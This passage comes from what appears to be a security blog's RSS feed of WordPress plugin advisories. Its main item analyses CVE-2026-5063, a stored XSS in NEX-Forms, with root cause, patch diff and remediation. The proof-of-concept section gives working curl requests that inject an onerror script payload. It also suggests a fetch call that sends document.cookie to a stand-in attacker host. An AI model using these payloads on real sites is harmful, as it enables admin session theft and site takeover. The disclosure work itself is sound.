&lt;td&gt;Patched version 2.8.12 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-05-01&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;brizy&lt;/code&gt; plugin to version &lt;strong&gt;2.8.12&lt;/strong&gt; or later.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/views/form-data.php#L11&quot;&gt;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/views/form-data.php#L11&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/form-entries.php#L79&quot;&gt;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/form-entries.php#L79&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/brizy/trunk/admin/views/form-data.php#L11&quot;&gt;https://plugins.trac.wordpress.org/browser/brizy/trunk/admin/views/form-data.php#L11&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L198&quot;&gt;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L198&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L295&quot;&gt;https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L295&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3502206/brizy/trunk/admin/views/form-data.php&quot;&gt;https://plugins.trac.wordpress.org/changeset/3502206/brizy/trunk/admin/views/form-data.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=%2Fbrizy/tags/2.8.11&amp;amp;new_path=%2Fbrizy/tags/2.8.12&quot;&gt;https://plugins.trac.wordpress.org/changeset?old_path=%2Fbrizy/tags/2.8.11&amp;amp;new_path=%2Fbrizy/tags/2.8.12&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-04T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5063: Stored XSS in NEX-Forms via Form Submission</title><link>https://hurayraiit.com/blog/cve-2026-5063-stored-xss-in-nex-forms-via-form-submission/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5063-stored-xss-in-nex-forms-via-form-submission/</guid><description>CVE-2026-5063 is a CVSS 7.2 unauthenticated stored XSS in NEX-Forms ≤9.1.11. Crafted POST requests store JavaScript that executes in any admin&apos;s browser.</description><pubDate>Sun, 03 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5063&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; Unauthenticated Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/nex-forms-express-wp-form-builder/&quot;&gt;NEX-Forms – Ultimate Forms Plugin for WordPress&lt;/a&gt; WordPress plugin. An unauthenticated attacker can submit a crafted form entry that stores a JavaScript payload in the database; the payload executes automatically in any administrator&apos;s browser when they view the form submissions dashboard.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NEX-Forms – Ultimate Forms Plugin for WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nex-forms-express-wp-form-builder&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5063&quot;&gt;CVE-2026-5063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.9.1.11.zip&quot;&gt;&amp;lt;= 9.1.11&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.9.1.12.zip&quot;&gt;9.1.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 2, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n4kk0&quot;&gt;Naoya Takahashi (nakko)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/nex-forms-express-wp-form-builder/nex-forms-9111-unauthenticated-stored-cross-site-scripting-via-post-parameter-key-names&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can inject malicious JavaScript into a WordPress site by submitting a crafted form entry. The plugin stores every POST parameter key and value from form submissions — including parameters the attacker creates with arbitrary names. Due to insufficient input sanitization and missing output escaping, the stored payload executes in the browser of any administrator who views the form submission dashboard.&lt;/p&gt;
&lt;p&gt;This class of vulnerability is highly impactful. An attacker needs no account on the target site. They only need one active form. The payload runs in the administrator&apos;s browser session, which means an attacker can steal session cookies, create rogue admin accounts, redirect site visitors, or inject persistent backdoors into the site.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Entry Point: Unauthenticated AJAX Handler&lt;/h3&gt;
&lt;p&gt;The plugin registers the &lt;code&gt;submit_nex_form&lt;/code&gt; function on two WordPress AJAX hooks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.php:2656-2657
add_action( &apos;wp_ajax_submit_nex_form&apos;, &apos;submit_nex_form&apos; );
add_action( &apos;wp_ajax_nopriv_submit_nex_form&apos;, &apos;submit_nex_form&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; prefix makes this endpoint available to unauthenticated users. Anyone can send a POST request to &lt;code&gt;wp-admin/admin-ajax.php?action=submit_nex_form&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;h4&gt;Step 1 — Data Collection in &lt;code&gt;submit_nex_form()&lt;/code&gt; (&lt;code&gt;main.php:2833&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;The function iterates over &lt;strong&gt;all&lt;/strong&gt; POST parameters, not just fields defined in the form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.php:2833-2901
foreach ( $_POST as $key =&amp;gt; $val ) {

    $key = sanitize_text_field( $key );
    $key = esc_html( $key );

    if ( /* key not in blacklist */ ) {

        // If a `real_val__KEY` override exists and is an array,
        // the raw unsanitized value replaces $val entirely.
        if ( array_key_exists( &apos;real_val__&apos; . $key, $_POST ) ) {
            if ( ! is_array( $_POST[ &apos;real_val__&apos; . $key ] ) ) {
                $val = sanitize_text_field( $_POST[ &apos;real_val__&apos; . $key ] );
            } else {
                // Array value: no sanitization applied here.
                $val = $_POST[ &apos;real_val__&apos; . $key ];
            }
        }

        if ( is_array( $val ) || is_object( $val ) ) {
            // rest_sanitize_array() only calls array_values() —
            // it does NOT sanitize the element content.
            $data_array[] = array(
                &apos;field_name&apos;  =&amp;gt; $key,
                &apos;field_value&apos; =&amp;gt; rest_sanitize_array( $val ),
            );
        } else {
            $val = strip_tags( $val );
            $data_array[] = array(
                &apos;field_name&apos;  =&amp;gt; $key,
                &apos;field_value&apos; =&amp;gt; sanitize_text_field( str_replace( &apos;\\&apos;, &apos;&apos;, $val ) ),
            );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are two code paths for storing values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalar values&lt;/strong&gt;: &lt;code&gt;strip_tags()&lt;/code&gt; followed by &lt;code&gt;sanitize_text_field()&lt;/code&gt;. These functions strip HTML tags but do not encode HTML special characters for safe output. A value that bypasses tag stripping (e.g. via malformed markup, PHP version quirks, or by exploiting the &lt;code&gt;real_val__&lt;/code&gt; array override) gets stored without HTML-entity encoding.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Array values&lt;/strong&gt; (via &lt;code&gt;real_val__KEY[]&lt;/code&gt; POST syntax): &lt;code&gt;rest_sanitize_array()&lt;/code&gt; is called, which only calls PHP&apos;s &lt;code&gt;array_values()&lt;/code&gt;. This discards array keys but does &lt;strong&gt;not&lt;/strong&gt; sanitize element values. An XSS payload submitted inside an array bypasses all input sanitization entirely.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The sanitized key (&lt;code&gt;$key&lt;/code&gt;) and the partially-sanitized value are stored in the &lt;code&gt;form_data&lt;/code&gt; column of &lt;code&gt;wp_{prefix}wap_nex_forms_entries&lt;/code&gt; as JSON:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.php:2944-2959
$wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . &apos;wap_nex_forms_entries&apos;, array(
    ...
    &apos;form_data&apos; =&amp;gt; json_encode( $data_array ),
    ...
) );
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Step 2 — Unescaped Output in &lt;code&gt;NEXForms_get_entry_data_preview()&lt;/code&gt; (&lt;code&gt;class.db.php:3651&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;This function retrieves stored form entries and renders a preview for the admin dashboard &quot;Data Summary&quot; column. It is called for every row in the &quot;Latest Entries&quot; table on the plugin&apos;s dashboard page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// includes/classes/class.db.php:3662-3685 (vulnerable version 9.1.11)
$set_form_data = $wpdb-&amp;gt;get_var( $get_the_data );
$form_data     = json_decode( $set_form_data, 1 );

foreach ( $form_data as $data ) {
    if ( $i &amp;lt; 2 ) {
        $field_name  = ( isset( $data[&apos;field_name&apos;] )  ? $data[&apos;field_name&apos;]  : &apos;&apos; );
        $field_value = ( isset( $data[&apos;field_value&apos;] ) ? $data[&apos;field_value&apos;] : &apos;&apos; );

        if ( ! is_array( $field_value ) ) {
            if ( ! strstr( $field_value, &apos;data:image&apos; ) )
                // ⚠ $field_value is output directly — no esc_html()
                $set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;
                    . $nf_functions-&amp;gt;unformat_records_name( $field_name )
                    . &apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&apos;
                    . $field_value
                    . &apos;&amp;lt;/span&amp;gt; | &apos;;
            else
                // ⚠ Same issue in the image branch
                $set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;
                    . $nf_functions-&amp;gt;unformat_records_name( $field_name )
                    . &apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&apos;
                    . &apos;&amp;lt;img src=&quot;&apos; . $field_value . &apos;&quot; width=&quot;50&quot;/&amp;gt;&apos;
                    . &apos;&amp;lt;/span&amp;gt; | &apos;;
        }
    }
    $i++;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$field_value&lt;/code&gt; is inserted directly into the HTML string with no output escaping. Any HTML or JavaScript in &lt;code&gt;$field_value&lt;/code&gt; renders and executes in the admin&apos;s browser.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;second unpatched location&lt;/strong&gt; at &lt;code&gt;class.db.php:2782&lt;/code&gt; follows the same pattern in the batch-export view:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class.db.php:2782 (NOT patched in 9.1.12)
$set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;
    . $nf_functions-&amp;gt;unformat_records_name( $data[&apos;field_name&apos;] )
    . &apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&apos;
    . $data[&apos;field_value&apos;]  // ⚠ still unescaped
    . &apos;&amp;lt;/span&amp;gt; | &apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;submit_nex_form()&lt;/code&gt; function accepts POST parameters with attacker-chosen key names and stores their values with insufficient input sanitization. The &lt;code&gt;NEXForms_get_entry_data_preview()&lt;/code&gt; function outputs stored field values without &lt;code&gt;esc_html()&lt;/code&gt;, so any HTML that survives storage renders in the admin&apos;s browser.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The key name (&lt;code&gt;$key&lt;/code&gt;) is sanitized with &lt;code&gt;sanitize_text_field()&lt;/code&gt; and &lt;code&gt;esc_html()&lt;/code&gt; before storage, and &lt;code&gt;unformat_records_name()&lt;/code&gt; re-sanitizes it before display — so the &lt;strong&gt;key&lt;/strong&gt; is safe. However, the &lt;strong&gt;value&lt;/strong&gt; (&lt;code&gt;$val&lt;/code&gt;) uses only &lt;code&gt;strip_tags()&lt;/code&gt; and &lt;code&gt;sanitize_text_field()&lt;/code&gt;, neither of which encodes HTML entities for output. On the display side, the developer called &lt;code&gt;unformat_records_name()&lt;/code&gt; on the field name but forgot to call &lt;code&gt;esc_html()&lt;/code&gt; on the field value.&lt;/p&gt;
&lt;p&gt;Additionally, when &lt;code&gt;real_val__KEY&lt;/code&gt; is submitted as an array, &lt;code&gt;rest_sanitize_array()&lt;/code&gt; skips sanitization entirely for element values, giving an attacker a direct path to store raw HTML payloads.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can execute arbitrary JavaScript in any administrator&apos;s browser. Because the payload runs in the WordPress admin session, the attacker can take over admin accounts, create backdoor users, modify site content, or redirect visitors to malicious sites.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;nex-forms-express-wp-form-builder&lt;/code&gt; plugin installed and activated.&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 9.1.11.&lt;/li&gt;
&lt;li&gt;At least one form created in the plugin (any form ID works). Replace &lt;code&gt;FORM_ID&lt;/code&gt; below with a valid form ID (visible in the plugin&apos;s Forms list as the &lt;code&gt;Id&lt;/code&gt; column value).&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;https://target.example.com&lt;/code&gt; with the target WordPress URL.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify a valid form ID&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to the WordPress admin, open NEX-Forms, and note the numeric ID of any active form (e.g. &lt;code&gt;1&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Submit the malicious form entry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send a POST request to the AJAX endpoint as an unauthenticated user. The payload uses the &lt;code&gt;real_val__&lt;/code&gt; override mechanism with an array value to bypass &lt;code&gt;strip_tags()&lt;/code&gt; and &lt;code&gt;sanitize_text_field()&lt;/code&gt;. The XSS payload is placed inside the array element.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=submit_nex_form&quot; \
  --data-urlencode &quot;nex_forms_Id=FORM_ID&quot; \
  --data-urlencode &quot;company_url=&quot; \
  --data-urlencode &quot;email=test@example.com&quot; \
  --data-urlencode &quot;xss_field=placeholder&quot; \
  --data-urlencode &quot;real_val__xss_field[]=&amp;lt;img src=x onerror=\&quot;alert(document.domain)\&quot;&amp;gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also use the array form of a standard field name. Any POST key not in the plugin&apos;s internal blacklist is accepted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=submit_nex_form&quot; \
  -d &quot;nex_forms_Id=FORM_ID&quot; \
  -d &quot;company_url=&quot; \
  -d &quot;email=test%40example.com&quot; \
  -d &quot;message%5B%5D=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(&lt;code&gt;message[]=&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;&lt;/code&gt; URL-encoded)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger the XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to WordPress as an administrator. Navigate to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp-admin/admin.php?page=nex-forms-page-dashboard
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The NEX-Forms dashboard loads the &quot;Latest Entries&quot; table, which calls &lt;code&gt;NEXForms_get_entry_data_preview()&lt;/code&gt; for each entry row. The injected payload in the &quot;Data Summary&quot; column executes immediately.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;A JavaScript alert box displays &lt;code&gt;document.domain&lt;/code&gt; (the site&apos;s hostname), confirming that attacker-supplied JavaScript executed in the authenticated admin&apos;s browser session.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;After step 2, check the &lt;code&gt;wp_{prefix}wap_nex_forms_entries&lt;/code&gt; table. The &lt;code&gt;form_data&lt;/code&gt; column for the new entry contains the unsanitized &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; payload.&lt;/li&gt;
&lt;li&gt;After step 3, the browser displays an alert. In a real attack, replace &lt;code&gt;alert(document.domain)&lt;/code&gt; with &lt;code&gt;fetch(&apos;https://attacker.example.com/?c=&apos;+document.cookie)&lt;/code&gt; to exfiltrate the admin session cookie.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies &lt;code&gt;includes/classes/class.db.php&lt;/code&gt; in the &lt;code&gt;NEXForms_get_entry_data_preview()&lt;/code&gt; function (line 3676 in the patched version). Two lines are changed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The plain-text display branch now wraps &lt;code&gt;$field_value&lt;/code&gt; with &lt;code&gt;esc_html()&lt;/code&gt; before inserting it into the HTML string.&lt;/li&gt;
&lt;li&gt;The image display branch now wraps &lt;code&gt;$field_value&lt;/code&gt; with &lt;code&gt;esc_html()&lt;/code&gt; before inserting it into the &lt;code&gt;src&lt;/code&gt; attribute.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch adds proper output escaping as defence-in-depth. Even if a payload survives input sanitization and is stored in the database, &lt;code&gt;esc_html()&lt;/code&gt; converts &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&quot;&lt;/code&gt;, &lt;code&gt;&apos;&lt;/code&gt;, and &lt;code&gt;&amp;amp;&lt;/code&gt; to HTML entities before insertion into the page, so the browser renders the payload as text rather than executing it.&lt;/p&gt;
&lt;p&gt;The fix addresses the &lt;strong&gt;output escaping&lt;/strong&gt; gap. The &lt;strong&gt;input sanitization&lt;/strong&gt; gap — specifically, the &lt;code&gt;rest_sanitize_array()&lt;/code&gt; path that stores unsanitized array element values — is not addressed in 9.1.12. Additionally, the similar unescaped output at &lt;code&gt;class.db.php:2782&lt;/code&gt; (in the batch-export view) remains unpatched. These residual risks are lower-impact because they require the administrator to actively open the batch view, but they should be addressed.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/includes/classes/class.db.php
+++ b/includes/classes/class.db.php
@@ -3674,9 +3674,9 @@ function NEXForms_get_entry_data_preview($Id=&apos;&apos;,$table=&apos;&apos;){
 		if(!is_array($field_value)){
 			if(!strstr($field_value,&apos;data:image&apos;))
-				$set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;.$nf_functions-&amp;gt;unformat_records_name($field_name).&apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&apos;.$field_value.&apos;&amp;lt;/span&amp;gt; | &apos;;
+				$set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;.$nf_functions-&amp;gt;unformat_records_name($field_name).&apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&apos;.esc_html($field_value).&apos;&amp;lt;/span&amp;gt; | &apos;;
 			else
-				$set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;.$nf_functions-&amp;gt;unformat_records_name($field_name).&apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&amp;lt;img src=&quot;&apos;.$field_value.&apos;&quot; width=&quot;50&quot;/&amp;gt;&amp;lt;/span&amp;gt; | &apos;;
+				$set_data .= &apos;&amp;lt;span class=&quot;entry_data_name&quot;&amp;gt;&apos;.$nf_functions-&amp;gt;unformat_records_name($field_name).&apos;&amp;lt;/span&amp;gt; : &amp;lt;span class=&quot;entry_data_value&quot;&amp;gt;&amp;lt;img src=&quot;&apos;.esc_html($field_value).&apos;&quot; width=&quot;50&quot;/&amp;gt;&amp;lt;/span&amp;gt; | &apos;;
 		}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Naoya Takahashi (nakko)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 2, 2026&lt;/td&gt;
&lt;td&gt;Patched version 9.1.12 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 2, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;nex-forms-express-wp-form-builder&lt;/code&gt; plugin to version &lt;strong&gt;9.1.12&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, consider temporarily deactivating the plugin or restricting access to &lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt; for unauthenticated users via your web server firewall rules or a WAF rule targeting &lt;code&gt;action=submit_nex_form&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/nex-forms-express-wp-form-builder/nex-forms-9111-unauthenticated-stored-cross-site-scripting-via-post-parameter-key-names&quot;&gt;Wordfence Advisory — CVE-2026-5063&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5063&quot;&gt;CVE-2026-5063 at cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/nex-forms-express-wp-form-builder/&quot;&gt;NEX-Forms Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-03T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4019: Unauthenticated Private Post Content Disclosure In Complianz Plugin</title><link>https://hurayraiit.com/blog/cve-2026-4019-complianz-private-post-content-disclosure/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4019-complianz-private-post-content-disclosure/</guid><description>CVE-2026-4019 is a CVSS 5.3 Medium missing authorization vulnerability in the Complianz plugin. Unauthenticated attackers can read private post content via a REST endpoint.</description><pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4019&lt;/strong&gt; is a &lt;strong&gt;CVSS 5.3 Medium&lt;/strong&gt; missing authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/complianz-gdpr/&quot;&gt;Complianz – GDPR/CCPA Cookie Consent&lt;/a&gt; WordPress plugin. Unauthenticated attackers can read private, draft, or unpublished post content through a publicly accessible REST API endpoint.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Complianz – GDPR/CCPA Cookie Consent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;complianz-gdpr&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4019&quot;&gt;CVE-2026-4019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5.3 (Medium)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization to Unauthenticated Private Post Content Disclosure via Consent Area REST Endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/complianz-gdpr.7.4.5.zip&quot;&gt;&amp;lt;= 7.4.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/complianz-gdpr.7.4.6.zip&quot;&gt;7.4.6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
